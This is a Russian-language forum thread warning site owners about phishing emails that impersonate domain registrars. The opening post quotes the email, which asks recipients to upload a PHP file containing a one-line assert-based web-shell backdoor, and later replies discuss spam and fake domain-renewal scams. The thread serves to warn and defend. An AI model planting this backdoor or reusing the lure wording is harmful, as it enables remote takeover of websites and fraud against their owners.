Взлом сайтов от имени регистраторов доменов

[precautions]

В последние 2 дня активизировались хакеры, использующие старый, как дерьмо мамонта, трюк - письмо с поддельным адресом отправителя.

Рассылаются письма от имени nic.ru и <info@r01l.ru> - красным выделена левая буква, которой не будет видно в html-коде письма:

В соответствии с изменениями, внесенными в ICANN RAA, Вы должны подтвердить, что фактическое управление доменом *****.ru осуществляется лицом, указанным в качестве его администратора.

Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменом, создайте в корневой директории сайта файл a7odfa980f11ce6.php со следующим содержимым:

<?php
assert(stripslashes($_REQUEST[R01]));
?>

Файл должен быть создан в течение трех календарных дней с момента получения настоящего письма и находиться на сервере до 30 декабря 2016 года, 22:00 (UTC+04:00), в противном случае процедура подтверждения не будет пройдена.

Обращаем Ваше внимание на то, что если процедура подтверждения не будет пройдена, делегирование домена будет приостановлено.

То есть, предлагают самому себе на сайте сделать бэкдор. Наивно, но на всякий случай - не ведитесь.

PS: Похоже, рассылка идёт по доменам в алфавитном порядке, пока ещё работают по букве "a".

[Zork]

Такой фигни нет, но пару раз в месяц приходят письма, мол пытаются сбросить пароль. На невнимательность надеются что ли? Было бы чего там тырить, все давно заброшено

[веломан]

меня лично заебали спамить pdf-ками буржуйскими с какими-то там отчётами, счетами итп

[Kludge]

Сообщение от веломан

меня лично заебали спамить pdf-ками буржуйскими с какими-то там отчётами, счетами итп

В фильме Кибер ясно показано, что это за pdf-ки. Сцена с сотрудником АНБ, где-то в середине фильма.

[JetD]

Да, все новое - хорошо забытое старое. И судя по комментам в домейнерских группах в фейсбуках, находятся те, кто на это ведутся.

[excl]

Kludge, посмотрел трейлер - фигня какая-то, боевик обычный. Так как там трактуют пдфки?

[Skyworker]

Прикольный разводняк, будем иметь ввиду.

[Kludge]

excl, ну не совсем обычный. Про хакеров кино. В pdf-ке, что подсунули анбэшнику был клавиатурный шпион от супер секретной программы. Посмотри, неплохой фильм.

[DimaX]

Уже пара недель, как идет такая рассылка типа от РуЦентра, даже сам РуЦентр разослал уже предупреждения о ней, мне на пару мыл приходило.

Причем оформлено мыло охеренно, с 1-го взгляда и не поймешь, что это фейк, пока непосредственно в текст не вчитаешься.

А если юзер не шарит (коих большинство), то запросто поведется, блин.

[kitvit]

Мне непрерывно льётся говно с ссылками на оплату (.com .net .org) доменов. Смотрят адреса во whois и шлют письма на продление. Идёт рассчёт на идиота. Думаю что находятся такие что оплачивают. Большинство обывателей понятия не имеют от кого пришло письмо, а больше половины не помнят где регистрировали домен и будут рады кликнуть по ссылке куда нужно ввести только свою карточку для пополнения домена. Видимо это как-то так работает.